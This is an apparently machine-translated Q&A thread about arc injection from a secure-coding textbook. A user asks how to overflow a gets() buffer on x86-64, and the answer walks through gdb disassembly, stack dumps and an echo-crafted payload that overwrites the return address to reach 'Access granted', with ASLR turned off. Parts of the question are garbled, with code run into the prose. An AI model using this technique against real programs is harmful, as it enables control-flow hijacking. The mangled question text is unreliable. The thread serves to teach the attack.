构造一个用于电弧注入的污染字符串

时间:2015-03-07 22:19:47

标签: c security buffer-overflow control-flow

我是安全的新手,目前指的是Robert Seacord的Secure Coding in C and C++.在同一章的第2章中,作者讨论了电弧注入,其中他从{{1}传递了以下程序中的控制流程。通过使用受污染的字符串覆盖isPasswordOK()调用中的else() {puts ("Access granted!");};缓冲区,main()中的Password分支例程:gets()

1234567890123456j>*!

此处#include <stdio.h> #include <string.h> #include <stdbool.h> bool isPasswordOK(void) { char Password[12]; gets(Password); return 0 == strcmp(Password, "goodpass"); } int main(void) { bool pwStatus; puts("Enter Password: "); pwStatus = isPasswordOK(); if (pwStatus == false) { puts("Access denied"); exit(-1); } else { puts("Access granted!"); } } j = 0x6A(这是数据链接转义符号),> = 0x10* = 0x2A

这个4个字符的序列则对应一个4字节的地址,我假设它是! = 0x21。我认为,这个地址指向0x6A102A21函数中的else行,我们通过用该行的地址覆盖堆栈上的返回地址来重定向控制。

我正在尝试在我的机器上重现相同的内容(x86-64架构)。我已经关闭了堆栈保护和随机化,所以我不认为这应该是一个问题。实际上,当我试图破坏返回地址时,程序会按预期崩溃。我的问题是:我如何提供main()被污染字符串的输入?如果我使用gdb反汇编gets,我会得到以下输出:

main

由于我想跳转到第二个(gdb) disassemble main Dump of assembler code for function main: 0x0000000000400642 <+0>: push %rbp 0x0000000000400643 <+1>: mov %rsp,%rbp 0x0000000000400646 <+4>: sub $0x10,%rsp 0x000000000040064a <+8>: mov $0x40071d,%edi 0x000000000040064f <+13>: callq 0x4004c0 <puts@plt> 0x0000000000400654 <+18>: callq 0x400616 <isPasswordOK> 0x0000000000400659 <+23>: mov %al,-0x1(%rbp) 0x000000000040065c <+26>: movzbl -0x1(%rbp),%eax 0x0000000000400660 <+30>: xor $0x1,%eax 0x0000000000400663 <+33>: test %al,%al 0x0000000000400665 <+35>: je 0x40067b <main+57> 0x0000000000400667 <+37>: mov $0x40072e,%edi 0x000000000040066c <+42>: callq 0x4004c0 <puts@plt> 0x0000000000400671 <+47>: mov $0xffffffff,%edi 0x0000000000400676 <+52>: callq 0x400510 <exit@plt> 0x000000000040067b <+57>: mov $0x40073c,%edi 0x0000000000400680 <+62>: callq 0x4004c0 <puts@plt> 0x0000000000400685 <+67>: leaveq 0x0000000000400686 <+68>: retq End of assembler dump. 调用,我认为我需要提供puts()作为受污染字符串的一部分,因为这是第二个0x0000000000400680的地址到gdb反汇编。

我该怎么做?在本书中,地址长度为4个字节,但在这里我必须处理16个字节。此外,puts()没有ASCII表示,所以我应该提供什么作为0x80的输入?基本上,我要求的是我应该在提供的角色?

1234567890123456 ????

我完全感到困惑,所以感谢任何帮助,谢谢!

1 个答案:

答案 0 :(得分:0)

我遇到了同样的问题,我会尽力帮助你。问题是字符串也高度依赖于编译器,因此我将解释如何根据我的示例获取字符串。

我的程序看起来像这样(与你的类似)

isPasswordOk.cpp:

#include <iostream>
#include <cstdio>
#include <cstring>

bool isPasswordOk()
{
    int result = 0xBBBBBBBB;
    char password[10];
    std::gets(password);
    result = strcmp(password, "good") == 0;
    return result;
}

int main()
{
    bool pwStatus;
    std::puts("Enter password:");
    pwStatus = isPasswordOk();
    if (pwStatus == false)
    {
        puts("Access denied!");
        return -1;
    }
    puts("Access granted!");
    return 0;
}

然后你如何编译:

g++ isPasswordOk.cpp -std=c++11 -fno-stack-protector -o isPasswordOk

重要的是-fno-stack-protector,因此不会创建canarys。您可以使用另一个c ++标准。但是我的例子没有用std = c ++ 14编译,因为删除了gets函数。

调用isPasswordOk()时的堆栈

+-------------------------+  <--- stack pointer (rsp/esp)
|                         |
|    password-buffer      |
|                         |
|  --------------------   |
|       result            |   0xBBBBBBBB
|  ---------------------  |
|      (canary)           |  # when not disabled
+-------------------------+  <--- RBP
|  Caller RBP frame ptr   |
| ---------------------   |
|   Return Addr Caller    |
+-------------------------+

现在使用gdb来获取进行电弧注入的字符串。  gdb isPasswordOk

(gdb) run 
Enter password:
AAAA
Access denied!
(gdb) disassemble isPasswordOk
 Dump of assembler code for function _Z12isPasswordOkv:
   0x0000555555554850 <+0>: push   %rbp
   0x0000555555554851 <+1>: mov    %rsp,%rbp
   0x0000555555554854 <+4>: sub    $0x10,%rsp
   0x0000555555554858 <+8>: movl   $0xbbbbbbbb,-0x4(%rbp)
   0x000055555555485f <+15>:    lea    -0x10(%rbp),%rax
   0x0000555555554863 <+19>:    mov    %rax,%rdi
   0x0000555555554866 <+22>:    callq  0x555555554710
   0x000055555555486b <+27>:    lea    -0x10(%rbp),%rax
   0x000055555555486f <+31>:    lea    0x14f(%rip),%rsi        # 0x5555555549c5
   0x0000555555554876 <+38>:    mov    %rax,%rdi
   0x0000555555554879 <+41>:    callq  0x555555554718
   0x000055555555487e <+46>:    test   %eax,%eax
   0x0000555555554880 <+48>:    sete   %al
   0x0000555555554883 <+51>:    movzbl %al,%eax
   0x0000555555554886 <+54>:    mov    %eax,-0x4(%rbp)
   0x0000555555554889 <+57>:    cmpl   $0x0,-0x4(%rbp)
   0x000055555555488d <+61>:    setne  %al
   0x0000555555554890 <+64>:    leaveq
   0x0000555555554891 <+65>:    retq
End of assembler dump.

现在设置一些断点

(gdb) break * 0x0000555555554858  # set breakpoint before gets
(gdb) break * 0x0000555555554879  # set breakpoint after gets

现在再次运行它(使用x选项可以打印内存):

(gdb) run
Enter password:
AAAA
(gdb) x/12xw $rsp   # rsp for 64 bit, esp for 32 bit
0x7fffffffde20: 0xffffde50  0x00007fff  0x55554720  0x00005555
0x7fffffffde30: 0xffffde50  0x00007fff  0x555548ab  0x00005555
0x7fffffffde40: 0xffffdf30  0x00007fff  0x00000000  0x00000000
(gdb) c
(gdb) x/12xw $rsp
0x7fffffffde20: 0x41414141  0x00007fff  0x55554720  0xBBBBBBBB  # 0x41='A'
0x7fffffffde30: 0xffffde50  0x00007fff  0x555548ab  0x00005555
0x7fffffffde40: 0xffffdf00  0x00007fff  0x00000000  0x00000000
Access denied!

所以密码写在地址0x7fffffffde20:0x41414141 =“AAAA” 局部变量结果放在缓冲区0xBBBBBBBB之后。 您还可以看到缓冲区内部为12个字节,我也将其定义为10个字节。 因此,如果我想覆盖Return Addr Caller 0x555548ab 0x00005555,我必须写入0x20(32)字节。

首先,我必须知道地址。因此我再次使用gdb:

(gdb) disass main
 Dump of assembler code for function main:
   0x0000555555554892 <+0>: push   %rbp
   0x0000555555554893 <+1>: mov    %rsp,%rbp
   0x0000555555554896 <+4>: sub    $0x10,%rsp
   0x000055555555489a <+8>: lea    0x128(%rip),%rdi        # 0x5555555549c9
   0x00005555555548a1 <+15>:    callq  0x5555555546f0
   0x00005555555548a6 <+20>:    callq  0x555555554850 <_Z12isPasswordOkv>
   0x00005555555548ab <+25>:    mov    %al,-0x1(%rbp)
   0x00005555555548ae <+28>:    movzbl -0x1(%rbp),%eax
   0x00005555555548b2 <+32>:    xor    $0x1,%eax
   0x00005555555548b5 <+35>:    test   %al,%al
   0x00005555555548b7 <+37>:    je     0x5555555548cc <main+58>
   0x00005555555548b9 <+39>:    lea    0x119(%rip),%rdi        # 0x5555555549d9
   0x00005555555548c0 <+46>:    callq  0x5555555546f0
   0x00005555555548c5 <+51>:    mov    $0xffffffff,%eax
   0x00005555555548ca <+56>:    jmp    0x5555555548dd <main+75>
   0x00005555555548cc <+58>:    lea    0x115(%rip),%rdi        # 0x5555555549e8
   0x00005555555548d3 <+65>:    callq  0x5555555546f0
   0x00005555555548d8 <+70>:    mov    $0x0,%eax
   0x00005555555548dd <+75>:    leaveq
   0x00005555555548de <+76>:    retq
End of assembler dump.

我想跳转到地址0x00005555555548cc。所以你必须创建这样的字符串:

echo -ne 'AAAAAAAAAAAAAAAAAAAAAAAA\xcc\x48\x55\x55\x55\x55\x00\x00' > arcInjection.txt

然后你可以通过运行来调用它:

(gdb) run < arcInjection.txt
Access granted!

如果要在gdb外部运行它,则必须禁用地址空间布局随机化(ASR)

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

然后你也可以在控制台中运行它:

./isPasswordOk < arcInjection.txt 
Enter password:
Access granted!

重启后再次激活ASR,或者之后再打电话:

echo 1 | sudo tee /proc/sys/kernel/randomize_va_space